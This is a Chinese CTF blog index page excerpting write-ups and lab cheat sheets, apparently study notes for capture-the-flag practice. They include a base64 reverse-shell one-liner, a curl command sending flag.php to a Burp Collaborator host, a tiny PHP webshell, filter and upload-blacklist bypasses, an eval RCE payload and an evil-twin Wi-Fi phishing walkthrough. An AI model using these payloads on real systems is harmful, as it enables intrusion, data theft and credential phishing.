2024第二次线上赛WP

MISC GIF 简单的二维码,可以使用WPS把每帧分离保存,按顺序拼接,最后扫码获取flag 重生之我在嘉庚当黑客 flag格式改成xujc即可 洋葱二维码 code128、QR code、Maxicode、Aztec code、PDF417、汉信码之类的交替着试,二维码套娃。总之,用中国编码和https://demo.dynamsoft.com/barcode-reader/轮着试就行 SSL HTTPS流量,给了sslkey.log 首先使用sslkey解密包内容,编辑>首选项>Protocols>TLS 过滤出GET请求的包 http.request.method==GET 这些包的URL中有个参数名是:kcahsni 取出这些包的kcahsni的值,数量不多,可以手工取出来,也可使用Tshark取出来 tshark -r capture.pcap -o 'ssl.keylog_file:sslkey.log' -Y 'http contains "GET /searchbyimage"' -T fields -e http.request.uri.query.parameter > outdata.txt image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D82290383-7480-487c-b78b-77ac769c56cd%26kcahsni%3D9ef773fe97f56554a3b4,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D8bd542b5-2056-489e-bc1c-4f028ef27894%26kcahsni%3D26cd07e1f71df3dcee9f,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De76528cd-17d3-490a-be20-2d817ccee04e%26kcahsni%3D1eaf89725ab93968fc52,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D491c01dd-f1a3-43c3-b3c8-30c4ab73ff4b%26kcahsni%3Df03c0a7d653539616433,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Deeed4c5d-8a5f-4b8c-a12d-a2ef007e09e2%26kcahsni%3D66333861303164636130,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Db69d43cd-ac86-4b20-acc6-6a441d94ae3e%26kcahsni%3D30663937353965366432,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De56bc952-42c2-4631-96ee-e2e7cac51406%26kcahsni%3D30353331373634326335,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dece42ab1-a9d1-44df-a0b5-6b7e83aa9cd0%26kcahsni%3D34323166636461643033,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D71ad1cf6-a31a-4694-812b-9ea5db6e3cad%26kcahsni%3D34656265373037376332,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D1b3c7025-b1a8-477f-9d16-89c254af258a%26kcahsni%3D62646464343732627b41,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D64ac599c-e5ac-43bc-a2e0-0447257cd5bc%26kcahsni%3D534e490b3295c3d06c24,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dd8af7f01-5b92-4ad3-8c80-c6af467eac30%26kcahsni%3Df2a8c7e8936667dbf7fe,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D01b77323-6be9-4abd-b427-9f09d992a4df%26kcahsni%3Dce28456a0fd24ac21ec6,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D3f3e4f2f-5d92-4d3a-8ce8-f11943b42df3%26kcahsni%3Da12e3efe4b,encoded_image=,image_content=,filename=,hl=fr 使用Python处理一下,最后结果需要逆序一下 #Written by: mochu7 import binascii from urllib.parse import unquote flag=b'' with open('./outdata.txt') as f: for line in f.readlines(): line = unquote(line) hexdata = line[line.find('kcahsni=')+8:line.find(',')] hexstring = binascii.unhexlify(hexdata) flag += hexstring print(flag[::-1]) ...

March 30, 2024 · 4 min · Red

[靶场笔记]第十六章

base64反弹shell 这里记录一个之前很常用但都没记录过的典中典payload echo YOUR_REVERSE_SHELL_PAYLOAD | base64 -d | bash curl外带 偶尔会碰到能够执行但没有echo回显的情况,此时就可以用curl外带,例如 curl `命令`.域名 这里的域名到dnslog获取。此外,还可以通过curl主动向我们发送一个POST,并携带我们需要的内容,这里以Burp的Collaborator Client为例 curl -X POST -F xx=@flag.php http://jj6xpgxristzkbn1fpkl32t6jxpndc.burpcollaborator.net -X指定发送一个POST请求,-F指定要发送的文件。xx是post包的参数,可以自定义。@是必须要带的,后面接文件名(也可以是绝对路径) 最短的一句话木马 如果上传处存在长度限制就可以用(非常极限的情况= =) <?=`nc /*`; 常用图片文件头 如果找不到jpg和png的时候可以用 bmp文件 BM gif文件 GIF php后缀名绕过黑名单 pht, phpt, phtml, php3,php4,php5,php6 带数字的后缀不一定能用,就算版本对应,首选pht ffifdyop 一段很神奇的字符串 短标签 当<?php被过滤时,可以使用诸如<?=、<% %>、<script language ="php">的短标签进行替代 联合查询 在使用联合查询时,最后一个符号可以使用闭合,不一定要注释 图片高宽设置 当在上传木马时,如果题目对图片高宽有要求,就可以使用 #define height 1 #define width 1 来设置图片高宽,且可以代替图片文件头(反而此时如果写了GIF89a,还会出现不让过的情况) fast destruct 简单说明一下 也就是说,当出现下面这样的代码时 执行完反序化后析构函数并不会执行。这种情况下,要想让析构函数在反序化后就被执行,唯一的办法就是让序列化的内容产生错误,导致反序化报错,就会使对象被提前销毁,从而达到提前反序化结束的效果。可以看这篇博客 分号绕过 一直没记录的一种经典绕过方式,可以用在绝大部分被过滤的指令和字符串(仅限在shell中可用,php中不可用) 例如 /bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i 要使用ls时,就可以用l’‘s替代

March 28, 2024 · 1 min · Red

2024第一次线上赛WP

MISC 办公室爱情(🙂) 办公室爱情wp 你这flag保熟吗(😐) 你这flag保熟吗wp 小明的电脑(😧) 小明的电脑wp 套娃生成器(🤯) 根据提示,在github上找到该项目 总共实现了以下几种娃: dolls_registry = ( (Base16Doll, Base32Doll, Base64Doll, Base85Doll), # Base系列编码,随机选择一种 (RGBAImageBytesDoll,), # 字节编码成 RGBA 图片 (BitReverseDoll, ByteReverseDoll), # 位翻转和字节翻转 (WeakZipDoll,), # 弱密码ZIP (QRCodeDoll,), # 字符串编码成二维码 (MostSignificantByteDoll, LeastSignificantByteDoll), # 隐写LSB/MSB ) 生成逻辑是上面每行的娃随机选择一个,然后打乱顺序递归生成结果。如果生成的结果超过当前娃的最大承载长度,就将这个娃和上一个娃交换位置,然后重新生成。(具体逻辑见 encode.py) 其中,QRCodeDoll 会生成一个二维码图片,由于二维码我没有找到可靠的办法来承载二进制,所以它实际上存储的是 Base64 编码的二进制数据。 另外,对于 RGBAImageBytesDoll、MostSignificantByteDoll 和 LeastSignificantByteDoll,由于存储的数据长度可能不足容量,所以存储的前四字节为大端序的数据长度。 此外,WeakZipDoll 生成的密码选择在五位数字的原因是因为这是在我的机器上 Python 多进程能在 60 秒内稳定破解的最长密码(有考虑过六位数字,但是不能稳定破解,可能需要写 C binding,感觉有点麻烦就放弃了)。 解题脚本见 solve.py,其中具体实现的逻辑是对于输入的特征选择尝试解码的娃,如果解码成功但是结果不清晰就递归解码,直到解码成功且结果清晰(或者持续解码但是直到低于最小可能长度仍然无法解码就失败);如果解码失败就尝试下一个娃。 solve.py: import re import sys from base64 import decodebytes import pwn as p from matryoshka.dolls.base import DollError, DollsBase from matryoshka.dolls.multi_base import Base16Doll, Base32Doll, Base64Doll, Base85Doll from matryoshka.dolls.qrcode_encode import QRCodeDoll from matryoshka.dolls.reverse import BitReverseDoll, ByteReverseDoll from matryoshka.dolls.rgb_bytes import RGBAImageBytesDoll from matryoshka.dolls.significant_byte import ( LeastSignificantByteDoll, MostSignificantByteDoll, ) from matryoshka.dolls.weak_zip import WeakZipDoll def decode( data: bytes, round: int = 1, result_regex=rb"flag{.*?}", accepted_dolls: tuple[type[DollsBase], ...] = (), length_threshold: int = 10, ): def prefixed_print(*args): p.log.info(" ".join(["--" * round + ">", *map(str, args)])) prefixed_print("entering round", round) attempts: list[type[DollsBase]] = [] if data.startswith(b"PK"): # PK is the magic number for ZIP files attempts.append(WeakZipDoll) if data.startswith(b"\x89PNG"): # PNG magic number attempts.append(RGBAImageBytesDoll) attempts.append(LeastSignificantByteDoll) attempts.append(MostSignificantByteDoll) if data.isascii(): # ASCII charset = {bytes([c]) for c in data} if charset == {b"0", b"1"}: attempts.append(QRCodeDoll) else: attempts.append(Base16Doll) attempts.append(Base32Doll) attempts.append(Base64Doll) attempts.append(Base85Doll) attempts.append(BitReverseDoll) attempts.append(ByteReverseDoll) attempts = [attempt for attempt in attempts if attempt not in accepted_dolls] for attempt in attempts: prefixed_print(f"trying {attempt.__name__}") try: result = attempt().decode(data) except DollError as e: prefixed_print(f"failed {attempt.__name__}: {e}") continue if len(result) < length_threshold: prefixed_print(f"failed {attempt.__name__}: length not accepted") continue if re.search(result_regex, result, re.DOTALL): prefixed_print(f"success {attempt.__name__}: {result}") return result prefixed_print("result not clear, recursive decode begin") result = decode(result, round + 1, result_regex, (*accepted_dolls, attempt)) if result: return result prefixed_print("round failed") return None if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <host> <port>") sys.exit(1) _, host, port = sys.argv s = p.remote(host, port) s.recvuntil(b"name") s.sendline(b"mix") while True: data = s.recvuntil(b"-----END MATRYOSHKA MESSAGE-----") round_data = re.search(rb"Round (\d+)/(\d+)", data) assert round_data round = int(round_data.group(1)) total_rounds = int(round_data.group(2)) p.log.info(f"Round {round}/{total_rounds}") data_chunk = re.search( b"-----BEGIN MATRYOSHKA MESSAGE-----\n(.*)\n-----END MATRYOSHKA MESSAGE-----", data, re.DOTALL, ) assert data_chunk data = decode(decodebytes(data_chunk.group(1))) assert data s.sendline(data) if round == total_rounds: break s.interactive() CRYPTO baby_rsa(🙂) from Crypto.Util.number import long_to_bytes from gmpy2 import invert, is_prime from tqdm import tqdm ​ primes = [] ​ for xy in tqdm(range(500)): for mn in range(500): prime = xy**(mn+1) - (xy+1)**mn if prime.bit_length() > 2048: break if is_prime(prime): primes.append(prime) ​ c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982906066972340414398928411147970593935244077925448732772473619783079328351522269170879807064111318871074291073581343039389561175391039766936376267875184581643335916049461784753341115227515163545709454746272514827000601853735356551495685229995637483506735448900656885365353434308639412035003119516693303377081576975540948311 ​ for i in range(len(primes)): for j in range(i, len(primes)): pq = primes[i]*primes[j] if len(bin(pq)[2:]) == 2048: try: d = invert(0x10001, (primes[i]-1)*(primes[j]-1)) dec = long_to_bytes(pow(c, d, pq)) if b"flag{" in dec: print(dec) except ValueError: pass 已知((fac[0]+fac[1]+fac[2]) « 1) - 1的值,用其替代n。分解((fac[0]+fac[1]+fac[2]) « 1) - 1求其欧拉函数,进而求解出d和第二段。 ...

March 24, 2024 · 9 min · Red

[靶场笔记]第十五章

参数逃逸 在靶场笔记第三章里提到过下面这种方法来绕过一些带有函数限制的waf 但这种方法有点局限,就是flag文件名必须中规中矩,而且一点也不适用于实战 所以我们可以对这种方法进行一点拓展,让他能够实现rce而不仅仅只是简单的读flag 这里以一道题为例 <?php ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢???????????? if(isset($_GET['code'])){ $code=$_GET['code']; if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){ echo '看看你输入的参数!!!不叫样子!!';echo '<br>'; eval($code); } else{ die("你想干什么?????????"); } } else{ echo "居然都不输入参数,可恶!!!!!!!!!"; show_source(__FILE__); } 首先题目并没有告诉你flag名字是什么,所以肯定是得rce。这里我们得用到一种类似靶场笔记第十三章中用到的方法 直接看payload ?1=passthru("ls");&code=eval(pos(pos(get_defined_vars()))); get_defined_vars函数可以接收来自其他任何自定义参数的传值,且不受题目中waf的影响 os.path.join os.path.join(path, *paths) 函数用于将多个文件路径连接成一个组合的路径。第一个参数通常包含了基础路径,而之后的每个参数都被当做组件拼接到基础路径后 简单来说就是如果*paths参数所给的拼接路径是以/开头的,那么path所提供的路径就会被删除,将*paths提供的路径作为绝对路径进行访问 类似的python语言漏洞还有很多,可以参考这篇文章 _过滤 如果_在过滤清单里,可以用+代替 mysql特性 碰到一道奇怪的题,记录一下。先试了一下普通的sql注入,1’ or 1=1#,不行,看到wp在用'^0#,分号可以用于闭合,井号可以用于注释,^进行异或运算,等号就是判等,这里需要利用sql的一个点“mysql弱类型转换”,空异或0会查到所有非数字开头的记录 0e 在弱判断下,以0e开头的数字都为0。这点可以用来绕过相同md5值但是不同字符串的判断,这里给出几个实用的值 QLTHNDT 0e405967825401955372549139051580 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 数组绕过与string强转化 之前提过如果碰到类似下面这样的代码 是可以通过使a1与a2都为数组,从而绕过md5强判断的。但是如果完整代码变成了 此时如果array1和array2的传值是array1[]=1&array2=2,是没有办法绕过的。原因就是php的数组在进行string强制转换时,会将数组转换为NULL类型 null=null就成立了,没绕过去 所以我们需要一个,md5前不相等,而md5后全等的。这里记录几组不同加密方式的碰撞结果 md5: array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 sha1: array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 php的传值变量 不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线。 例如,当代码中写到$_GET['r_e_d']的时候,在url传值时可用使用/?r+e+d=来代替。就能够躲过_的过滤 同时,php的这两种常用传值还有另外一个特性,就是当[提前出现后,后面的点就不会再被转义了,such as:`CTF[SHOW.COM`等价于`CTF_SHOW.COM`。就能够用来绕过一些特殊场景 parse_url函数解析漏洞 看这里 反序列化与_construct方法 众所周知,这个方法是在创建对象的时候会被调用的。同时,写反序列化链子的时候不仅可用给变量赋值,而且还能给这个方法写东西(是不是很神奇,emm其实是我还没有彻底摸透反序化原理的原因,可能等后面彻底理解透了会返回来改这条记录)。这是一个例子 ...

March 9, 2024 · 1 min · Red

[技术杂谈]邪恶wifi

除了暴力破解wifi密码外,还有另一种方法获得wifi密码,让用户连接不上原本正确的wifi,迫使他连接到我创建的假wifi,从而进行中间人攻击 开始搭建 进入kali后线安装下面这些必要软件包 安装完后,先查看无线网卡状态 可以看到,wlan0支持2.4G频段,wlan1支持5G频段。 先来看一下我们的攻击思路 正常的网络环境下有这两台设备组成 此时使用解除认证攻击将受害者与真wifi之间的连接断开 使用与真wifi相同的名字再生成一个假wifi,受害者就能连上我们的假wifi。这里为了方便解释,将两个网卡分别使用两台电脑表示,实际操作只需在同一台设备进行即可。同时,用于生成假wifi的网频段也可使用5GHz,只是这里5GHz网卡需要用来进行对5GHz频段的真wifi进行解除认证攻击,而我也没有多出来的5GHz网卡,因此只能用2.4GHz网卡生成。有条件的可以用5GHz网卡,提高伪装度 接着我们使用这条命令清理一些可能干扰实验的进程 使用这条命令将wlan1改成监听模式 再次查看无线网卡状态,看到wlan1变为Monitor模式即可 接着使用这条命令扫描附近wifi,使用的网卡建议用wlan1,因为我们的攻击目标是5GHz 扫出结果后,假设我们以这个wifi为目标 接着使用下面这条指令,使用wlan0生成一个假wifi -nD是不使用取消验证攻击,-dK是不使用业力攻击,-e指定生成假wifi的名称,-i指定生成网卡 回车后看到四个选项,分别对应四个不同的假wifi模板 固件升级页面 OAuth登陆页面 浏览器插件更新页面 网络管理器页面 这里以第一个为例,会给受害者一个类似路由器固件升级的页面进行,欺骗其输入密码。当然你也可以自定义页面,手动修改页面内容 生成成功后会看到出现了一个和真wifi名一样的假wifi 接下来我们要做的就是断开受害者与真wifi的连接,让受害者连上假wifi 打开一个新的窗口,刚刚我们已经扫出真wifi的MAC地址和信道值,使用下面这条命令将wlan1修改到与真wifi相同的信道 最后使用这个命令开始对连接到真wifi的设备进行断连 此时手机就会连接上我们生成的假wifi 连接后手机就会跳出一个这样的网页 这就是一个仿造的固件升级页面,引导受害者在下面的输入框输入wifi密码。只要你对这个页面的内容进行一些修改,其实也可以引导受害者去输入一些其他的内容,具体能钓到什么就看自己对页面的伪装了 一旦用户点击了确认,kali就能获取到用户输入的密码了

March 6, 2024 · 1 min · Red